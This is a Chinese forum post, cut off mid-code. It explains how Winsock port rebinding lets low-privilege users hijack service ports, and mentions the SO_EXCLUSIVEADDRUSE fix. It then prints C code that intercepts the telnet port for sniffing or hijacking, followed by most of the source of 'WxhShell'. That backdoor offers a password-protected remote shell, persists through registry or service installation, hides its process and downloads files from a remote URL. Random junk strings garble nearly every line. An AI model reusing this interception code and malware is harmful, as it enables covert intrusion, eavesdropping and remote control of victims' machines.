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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =o&>fw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `bZ/haU}A  
L5 veX}  
  saddr.sin_family = AF_INET; E|6VX4`+  
QlO0qbG[y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \E% 'Y  
E )5E$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XqW@rU  
`kZ@Zmj#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S$Q8>u6Wk  
w8Sp <6*  
  这意味着什么?意味着可以进行如下的攻击: :9$F'd\  
Z; A`oKd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y5do1Z  
^(|vsFzn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {j:hod@-:5  
(UU(:/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L"{JRbh[  
`eIenA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +(C6#R<LI  
2ioQb`=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~:3QBMk::  
mxz-4.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l,,> & F  
++V=s\d7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q.2ykL  
Kd=%tNp  
  #include ($}`R xj1@  
  #include " e}3:U5n  
  #include = Wu *+paQ  
  #include    l&?}hq^'Dn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,:Lb7bFv>  
  int main() 49w=XJ  
  { 1. rj'  
  WORD wVersionRequested; ~fT_8z  
  DWORD ret; ,=|ZB4HA  
  WSADATA wsaData; 3 AsT  
  BOOL val; ^Nmg07_R  
  SOCKADDR_IN saddr; U5He?  
  SOCKADDR_IN scaddr; D,g1<:<  
  int err; <j5NFJ9  
  SOCKET s; x}Aw)QCh+r  
  SOCKET sc; ,{LG4qvP  
  int caddsize; ]Yvga!S"C  
  HANDLE mt; DXa-rk8  
  DWORD tid;   tPGJ<30  
  wVersionRequested = MAKEWORD( 2, 2 ); 5JLu2P  
  err = WSAStartup( wVersionRequested, &wsaData ); U)o$WH.b  
  if ( err != 0 ) { L30$%G|  
  printf("error!WSAStartup failed!\n"); x >^Si/t  
  return -1; ^ 8@Iyh  
  } sRrzp=D  
  saddr.sin_family = AF_INET; 7 <Q5;J&;  
   9$|Gfyv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k}0^&Quc4  
m/qbRk68s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ns[ym>x#2  
  saddr.sin_port = htons(23); [fKUyIY_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TW9WMId  
  { %LZ({\5K#f  
  printf("error!socket failed!\n"); jMN[J|us51  
  return -1; aBw2f[mo  
  } aN $}?  
  val = TRUE; sSQs#+ &=[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d R]Q$CJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LJ(1RK GCz  
  { ]<q[Do8k  
  printf("error!setsockopt failed!\n"); 0#YX=vjX7  
  return -1; nE^Qy=iE  
  } j~e;DO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Hw-Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f}@jFhr'<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `UQf2o0%3w  
*s>BG1$<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *mMEl]+  
  { {!K-E9_,S  
  ret=GetLastError(); wj1{M.EF\  
  printf("error!bind failed!\n"); NSFs\a@1  
  return -1; 3t0[^cY8=z  
  } B-T/V-c7  
  listen(s,2); 5n ^TRB  
  while(1) yH<$k^0r*  
  { viAMr"z  
  caddsize = sizeof(scaddr); WzI8_uM  
  //接受连接请求  ^_%kE%I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); + \{&2a?  
  if(sc!=INVALID_SOCKET) =07]z@s  
  { u]ZqOJXxu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w1|A5q'M  
  if(mt==NULL) bC3 F  
  { _` [h,=  
  printf("Thread Creat Failed!\n"); i]#+1Hf  
  break; rX;Ys2vQ*  
  } 8l"O(B'#Z  
  } 4 8{vE3JY  
  CloseHandle(mt); \xUe/=  
  } #%FN>v3e  
  closesocket(s); ;kJu$U  
  WSACleanup(); )Y8",Ig  
  return 0; gn{=%`[  
  }   q,3;m[cA  
  DWORD WINAPI ClientThread(LPVOID lpParam) _6Eu2|vM&  
  { {q3H5csFq  
  SOCKET ss = (SOCKET)lpParam; P/ oXDI8  
  SOCKET sc; kGUJ9Du  
  unsigned char buf[4096]; 07/L}b`P  
  SOCKADDR_IN saddr; 3F#+~^2  
  long num; 0iZGPe~  
  DWORD val; 3~qR  
  DWORD ret; l6u&5[C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x5Z-{"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #DjCzz\  
  saddr.sin_family = AF_INET; 2nFy`|aA%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dk==?  
  saddr.sin_port = htons(23); iHp\o=#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K"V:<a  
  { $y?k[Y-~  
  printf("error!socket failed!\n"); L@^~N$G&u  
  return -1; -[Qvg49jy  
  } lZQ /W:OE  
  val = 100; o y<J6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3[XQR8o  
  { RAjkH`  
  ret = GetLastError(); %Z8vdU#l  
  return -1; Q8MS,7y/  
  } S }>n1F_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'lS `s(  
  { `E\imL  
  ret = GetLastError(); w^1Fi8+  
  return -1; ba3-t;S  
  } ~^vC,]hU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G5tday~3  
  { 5=KF!?  
  printf("error!socket connect failed!\n"); g8'DoHJ*  
  closesocket(sc); ^I]{7$6^  
  closesocket(ss); I|/'Ds:  
  return -1; 5v^L9!`@%v  
  } E:nt)Ef,  
  while(1) 2>\\@ 1  
  { PzY)"]g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d/7lefF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }xFi& <  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T[Pa/j{  
  num = recv(ss,buf,4096,0); ,kgF2K!  
  if(num>0) =ex'22  
  send(sc,buf,num,0); ,PWj_}|L[  
  else if(num==0) ?G? gy2  
  break; ~k'V*ERNSj  
  num = recv(sc,buf,4096,0); MjaUdfx  
  if(num>0) c#b:3dXx9  
  send(ss,buf,num,0); ;5 <-)  
  else if(num==0) :G)<}j"sM  
  break; ,f: jioY  
  } J< JBdk  
  closesocket(ss); 'Zk<l#"}  
  closesocket(sc); ) qPSD2h  
  return 0 ; 4x'AC%&Qi  
  } J?P]EQU  
~_!ts{[E  
. 9 LL+d  
========================================================== a%hGZCI  
 r@T| e  
下边附上一个代码,,WXhSHELL r3I,11B  
2w?G.pO#  
========================================================== ${U6=  
)u@t.)ChAV  
#include "stdafx.h" LD+f'^>>Z  
i#,1i VSG  
#include <stdio.h> Ohl} X 1  
#include <string.h> w1B<0'#  
#include <windows.h> ?gV'(3 !  
#include <winsock2.h> )LswSV  
#include <winsvc.h> {e]NU<G ,  
#include <urlmon.h> gw Qvao  
2ALj}  
#pragma comment (lib, "Ws2_32.lib") ~HP LV  
#pragma comment (lib, "urlmon.lib") v`)m">e*w  
N4[E~ -  
#define MAX_USER   100 // 最大客户端连接数 &]nd!N  
#define BUF_SOCK   200 // sock buffer TC-f%1(  
#define KEY_BUFF   255 // 输入 buffer C<he4n.  
- 8syjKTg  
#define REBOOT     0   // 重启 R!{7OkC  
#define SHUTDOWN   1   // 关机 0~xaUM`  
5fHYc0  
#define DEF_PORT   5000 // 监听端口 IYNMU\s  
-,>:DUN2  
#define REG_LEN     16   // 注册表键长度 ?~qC,N[  
#define SVC_LEN     80   // NT服务名长度 e?)yb^7K  
k.Zll,s  
// 从dll定义API +)-d_K.(k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (G5T%[/U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v_-ls"l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dy_.(r5[L]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cnur"?w@o  
silp<13HN  
// wxhshell配置信息 ct\<;I(H  
struct WSCFG { v,\93mNp[  
  int ws_port;         // 监听端口 A*Q[k 9B  
  char ws_passstr[REG_LEN]; // 口令 K%<GU1]-]  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,#%SK;1<  
  char ws_regname[REG_LEN]; // 注册表键名 OQ| ,-  
  char ws_svcname[REG_LEN]; // 服务名 wU0K3qZL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >H?uuzi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bi_J5 If  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )tPl<lb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,%='>A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %EB;1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4H7Oh*P\j  
SbJh(V-pr  
}; -CElk[u  
^=#!D[xj>  
// default Wxhshell configuration Rc%PZ}es  
struct WSCFG wscfg={DEF_PORT,  f }-v  
    "xuhuanlingzhe", 3It8&x:  
    1, &O{t^D)F  
    "Wxhshell", 2 _Jb9:/X  
    "Wxhshell", C!kbZTO[p"  
            "WxhShell Service", T=yCN#cqQ`  
    "Wrsky Windows CmdShell Service", cB36p&%  
    "Please Input Your Password: ", %rFllb7  
  1, V"U~Q=`K  
  "http://www.wrsky.com/wxhshell.exe", T@>6 3  
  "Wxhshell.exe" *hl<Y,W(  
    }; L.Vq1RU\"  
_6 /Qp`s  
// 消息定义模块 k#-[ M.i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :`j"Sj !t3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vg) ^|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *q[^Q'jnN  
char *msg_ws_ext="\n\rExit."; t.u{.P\Md\  
char *msg_ws_end="\n\rQuit."; 95% :AQLV  
char *msg_ws_boot="\n\rReboot..."; t3M0La&  
char *msg_ws_poff="\n\rShutdown..."; @hBx, `H^  
char *msg_ws_down="\n\rSave to "; cG5$lB  
5\5~L  
char *msg_ws_err="\n\rErr!"; "vvFq ,c  
char *msg_ws_ok="\n\rOK!"; ?/^VOj4&  
_qk9o  
char ExeFile[MAX_PATH]; <|wmjW/ D  
int nUser = 0; ?~]>H A:  
HANDLE handles[MAX_USER]; H.f9d.<W%  
int OsIsNt; 2voNgY  
mURX I'JkX  
SERVICE_STATUS       serviceStatus; u'{sB5_H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bwT"$Ee  
mrX}\p   
// 函数声明 Psg +\14  
int Install(void); !/[AQ{**T!  
int Uninstall(void); 1. xw'i  
int DownloadFile(char *sURL, SOCKET wsh); \y<+Fac1S  
int Boot(int flag); Rf&^th}TH  
void HideProc(void); {=UKTk/t8  
int GetOsVer(void); 9eksCxFg  
int Wxhshell(SOCKET wsl); fdvi}SS8  
void TalkWithClient(void *cs); `<bCq\+`  
int CmdShell(SOCKET sock); $K;_Wf  
int StartFromService(void); vs* _;vx  
int StartWxhshell(LPSTR lpCmdLine); Es_ SCWJ  
%_cg|yy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6eVe}V4W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %pQdq[J={  
O7E;W| ]  
// 数据结构和表定义 8'>.#vyMGv  
SERVICE_TABLE_ENTRY DispatchTable[] = <%T%NjNPQ  
{ #IcT @(  
{wscfg.ws_svcname, NTServiceMain}, {5?!`<fF  
{NULL, NULL} _AA`R`p;  
}; 2-/YYe;C  
w4 >:uyE  
// 自我安装 zhD`\&G.  
int Install(void) C&qDvvk  
{ o%QhV6(F  
  char svExeFile[MAX_PATH]; hwG||;&/H  
  HKEY key; 4{1c7g  
  strcpy(svExeFile,ExeFile); u&Ie%@:h9R  
:X]lXock0  
// 如果是win9x系统,修改注册表设为自启动 C]{V%jU  
if(!OsIsNt) { |O #wdnYW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *&~sr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L.R\]+$U2  
  RegCloseKey(key); X,Q 6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ra*k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /61ag9pN  
  RegCloseKey(key); Sv CK;$:  
  return 0; 8=b{'s^^F  
    } gs)%.k[BqG  
  } ` Mv5!H5l  
} fNmG`Ke  
else { `"1{Sx.  
r[i~4N=  
// 如果是NT以上系统,安装为系统服务 $rV:&A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B_6v'=7]  
if (schSCManager!=0) ({}O M=_  
{ tle K (^  
  SC_HANDLE schService = CreateService Z{|.xgsY  
  ( (D +{0 /  
  schSCManager, #RZJ1uL  
  wscfg.ws_svcname, 4jue_jsle  
  wscfg.ws_svcdisp, [M zc^I&  
  SERVICE_ALL_ACCESS, ADJ5ZD<Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U_=wL  
  SERVICE_AUTO_START,  Cq~ah  
  SERVICE_ERROR_NORMAL, [{fF)D<tC  
  svExeFile, fQ?n(  
  NULL, a5Acqa  
  NULL, 1\7"I-  
  NULL, vVvt ]h  
  NULL, 9_CA5?y$:  
  NULL ;zxlwdfcr'  
  ); #uDBF  
  if (schService!=0) >8{`q!=|~  
  { PY3Vu]zD  
  CloseServiceHandle(schService); Wcay'#K,  
  CloseServiceHandle(schSCManager); |SXMu_w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >t6'8g"T  
  strcat(svExeFile,wscfg.ws_svcname); MjF.>4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vN6]6nUOiT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S0o,)`ZB  
  RegCloseKey(key); 2w.9Q (Sn  
  return 0; PezWc18  
    } 9@&Z`b_  
  } |@n{tog+-  
  CloseServiceHandle(schSCManager); gQcr'[[a  
} -QNMB4  
} 4) I/\  
Y.hH fSp  
return 1; K+TTYQ  
} NByN}e  
aPP<W|Cmo2  
// 自我卸载 2g07wJ6x  
int Uninstall(void) -gX2{dW  
{ g>oYEFFJ  
  HKEY key;  f"=4,  
=)UiI3xHk  
if(!OsIsNt) { XU })3]/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TH}ycue  
  RegDeleteValue(key,wscfg.ws_regname); YKS'#F2  
  RegCloseKey(key); $Q7E#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QbKYB  
  RegDeleteValue(key,wscfg.ws_regname); aw@Aoq  
  RegCloseKey(key); 'krMVC-  
  return 0; rM?Dp2  
  } ,/?V+3l  
} aFm]?75  
} })u}PQ  
else { es(LE/`e  
";Xbr;N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0FR%<u  
if (schSCManager!=0) ).`a-Pv  
{ t 6IaRD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zinl.8Uk  
  if (schService!=0) *9:6t6x  
  { z=h5  
  if(DeleteService(schService)!=0) { a} fS2He  
  CloseServiceHandle(schService); i3WmD@  
  CloseServiceHandle(schSCManager); u2\qg;dP  
  return 0; =}o>_+"  
  } \ A UtGP  
  CloseServiceHandle(schService); c\rbLr}l)  
  } 3jdB8a]T_  
  CloseServiceHandle(schSCManager); <cOE6;d#  
} uV:uXQni``  
} 7[<sl35  
&,kB7r"  
return 1; 8ch~UBq/  
} `1v!sSR0R  
$aI MQ[(  
// 从指定url下载文件 O]LuL&=s y  
int DownloadFile(char *sURL, SOCKET wsh) S<9d^= a  
{ l@F e(^5E  
  HRESULT hr; umrI4.1c  
char seps[]= "/"; vl(v1[pU  
char *token; t-'GRme  
char *file; |0!97* H5  
char myURL[MAX_PATH]; bQQ/7KM  
char myFILE[MAX_PATH]; `hf9rjy4  
\ ozy_s[  
strcpy(myURL,sURL); jmzvp6N$8  
  token=strtok(myURL,seps); m@2xC,@  
  while(token!=NULL) Bw7:ry  
  { Id 7  
    file=token; cMk%]qfVo8  
  token=strtok(NULL,seps); ~u& O  
  } >f05+%^[  
Q&'Nr3H#tZ  
GetCurrentDirectory(MAX_PATH,myFILE); qtwmTT)  
strcat(myFILE, "\\"); _~q^YZ  
strcat(myFILE, file); \$|UFx  
  send(wsh,myFILE,strlen(myFILE),0); _qo1 GM&  
send(wsh,"...",3,0); Donf9]&U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qNVw+U;2P  
  if(hr==S_OK) uvM8 8#  
return 0; `B 0*/ml  
else LVtQ^ 5>8  
return 1; 3VB V_/i;  
H#` ?toS  
} htSk2N/  
#_|^C(]!  
// 系统电源模块 HON[{Oq  
int Boot(int flag) 54j $A  
{ 6oBt<r?CJ  
  HANDLE hToken; GV[BpH  
  TOKEN_PRIVILEGES tkp; s'=]a-l~  
.Vjpkt:H  
  if(OsIsNt) { gbZX'D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); = gyK*F(RK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L%s""nP  
    tkp.PrivilegeCount = 1; bu5)~|?{t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  #7"5Y_0-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ] CE2/6Ph  
if(flag==REBOOT) { mW9b~G3k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6)j4 TH  
  return 0; ^Wz{su2  
} 8+|Lph`/?  
else { eajL[W^>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NVPYv#uK  
  return 0; Om{ML,d  
} CI{TgL:l  
  } <7Lz<{jaJ  
  else { b#^D8_9h  
if(flag==REBOOT) { `<Nc Y*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x;aZ&  
  return 0; o>%W7@Pr  
} sB!A:  
else { htlWC>*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'z5 ;o :T  
  return 0; 2*FZ@?X@r  
} 3=I Q  
} C@W0fz  
5toNEDN  
return 1; 46`{mPd{aO  
} a]ey..m  
jGPs!64f)  
// win9x进程隐藏模块 nTlrG6  
void HideProc(void) KWMH|sxO=  
{ A 76yz`D  
mL+ps x+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [%q":Ig  
  if ( hKernel != NULL ) %hQ`b$07t  
  { Z)0R$j`2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -fn~y1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @) wXP@7  
    FreeLibrary(hKernel); }c:0cl  
  } 8t; nU;E*  
9r}} m0  
return; 5=e@yIr'#  
} $]86w8?-N  
? ~8V;Qn  
// 获取操作系统版本 tO$M[P=b  
int GetOsVer(void) ``D-pnKK  
{ ~Q\[b%>J  
  OSVERSIONINFO winfo; GM~jR-FZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ::w%rv  
  GetVersionEx(&winfo); kY&j~R[C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :l{-UkbB  
  return 1; #,C{?0!  
  else c-{]H8$v  
  return 0; ymu#u   
} p};<l@  
mmti3Y  
// 客户端句柄模块 l-rI|0D#  
int Wxhshell(SOCKET wsl) |ESe=G  
{ (>'d`^kjk  
  SOCKET wsh; 6zSN?0c  
  struct sockaddr_in client; .v'8G)6g  
  DWORD myID; PeZ=ONY5  
>d |W>|8e  
  while(nUser<MAX_USER) K+H82$ #  
{ `. Z".  
  int nSize=sizeof(client); U6"50G~u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N0NMRU]zT  
  if(wsh==INVALID_SOCKET) return 1; PT=%]o]  
NO)* UZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~-x\E#(  
if(handles[nUser]==0) $@X,J2&  
  closesocket(wsh); eyOAG4QTV  
else f}A^rWO  
  nUser++; (;0]V+-  
  } -)/>qFj )  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iZF{9@  
es{ 9[RHK  
  return 0; ;+\;^nS3d  
} /V~(!S>  
Fej$`2mRH  
// 关闭 socket ?Eed#pb_  
void CloseIt(SOCKET wsh) ?IWS  
{ w*x}4wW  
closesocket(wsh); F);C?SW"  
nUser--; b $!l* r  
ExitThread(0); Oi RqqD  
} BL7%MvDQ  
Vj1AW<  
// 客户端请求句柄 ?0F#\0  
void TalkWithClient(void *cs) !G37K8 &&*  
{ gKnAw+u\  
_*_zyWW_j  
  SOCKET wsh=(SOCKET)cs; (s~hh  
  char pwd[SVC_LEN]; snrfHDhUw  
  char cmd[KEY_BUFF]; 1'iRx,  
char chr[1]; G(L*8U< UG  
int i,j; Al?XJ C B@  
ZWv$K0agu  
  while (nUser < MAX_USER) { ; 1WclQ!(  
;Ti?(n#M>  
if(wscfg.ws_passstr) { `|4{|X*U.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r+n&Pp+9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G{<wXxq%  
  //ZeroMemory(pwd,KEY_BUFF); E[y?\{  
      i=0; ["z$rk  
  while(i<SVC_LEN) { 3!I8J:GZ:  
l[gL(p"W  
  // 设置超时 5|Uub ,  
  fd_set FdRead; iw%DQ }$  
  struct timeval TimeOut; yTk9+>  
  FD_ZERO(&FdRead); -kkXyO8js  
  FD_SET(wsh,&FdRead); |( KM 8  
  TimeOut.tv_sec=8; B}p/ ,4x6  
  TimeOut.tv_usec=0; V&G_Bu~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QH;aJ(>$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jWQB~XQY  
cIH`,bR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MFVFr "  
  pwd=chr[0]; aLr^uce]  
  if(chr[0]==0xd || chr[0]==0xa) { i ):el=  
  pwd=0; m{X;|-DK[  
  break;  W* YfyM  
  } ,v/C-b)I  
  i++; DZvpt%q  
    } dg-pwWqN  
R!`#pklB  
  // 如果是非法用户,关闭 socket 9P]TIV.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .Xr_BJ _  
} {\k9%2V*+  
Mc.KLz&,FC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~"(1~7_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `g#\ Ws  
E:7vm@+  
while(1) { g wk\[I`;  
*J6qL! ["  
  ZeroMemory(cmd,KEY_BUFF); E-RbFTVBA  
U+W8)7bc  
      // 自动支持客户端 telnet标准   /c09-$M  
  j=0; lB,MVsn18  
  while(j<KEY_BUFF) { ^b4o 0me  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;@sxE}`?g  
  cmd[j]=chr[0]; SU*P@?:/}  
  if(chr[0]==0xa || chr[0]==0xd) { ,y^By_1wS  
  cmd[j]=0; ,5q^/h  
  break; t ;[Me0  
  } t.m $|M>  
  j++; ivt\| >  
    } !-: a`Vs+  
f+d{^-  
  // 下载文件 >$}nKPC,Y  
  if(strstr(cmd,"http://")) { Z:'2pu U+?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  d(k`Yk8  
  if(DownloadFile(cmd,wsh)) ;$nK ^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m^`X|xK-  
  else b*,R9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ros5]5=dP  
  } :yv!  x  
  else { 1r@v \#P  
}3@`'i7  
    switch(cmd[0]) { 0<e7!M=U1  
  @NO&3m]  
  // 帮助 7"M7N^  
  case '?': { }L@YLnc%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E_$ ST3  
    break; BWd?a6nU}  
  } -cG?lEh <  
  // 安装 B3K%V|;z )  
  case 'i': { ]SK(cfA`  
    if(Install()) DK:d'zb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p/@z4TCNX  
    else {`-EX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qlSMg;"Ghw  
    break; ^y&l!,(A   
    } ZgN*m\l  
  // 卸载 B} &C h  
  case 'r': { h$lY,7  
    if(Uninstall()) \2 W( >_z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rBpr1XKl,  
    else )Y)7p//  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^c+6?  
    break; guBOR 0x`  
    } MTr _8tI  
  // 显示 wxhshell 所在路径 b%AYYk)d?  
  case 'p': { X!r!lW  
    char svExeFile[MAX_PATH]; O#9Q+BD  
    strcpy(svExeFile,"\n\r"); jk)U~KGcg  
      strcat(svExeFile,ExeFile); zS.7O'I<'  
        send(wsh,svExeFile,strlen(svExeFile),0); ZWYwVAo  
    break; |i1z47jN6P  
    } S7-?&[oeJ  
  // 重启 Dz.U&+*  
  case 'b': { ^ 3Vjmv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l46O=?usDX  
    if(Boot(REBOOT)) d@`yRueWiV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~(@Ka.eA0  
    else { IDv@r\Xw  
    closesocket(wsh); WpRi+NC}ln  
    ExitThread(0); CKj3-rcF(  
    } |`#[jHd  
    break; Ie``W b=  
    } p_tMl%K  
  // 关机 P^+Og_$  
  case 'd': { *,mbZE=<  
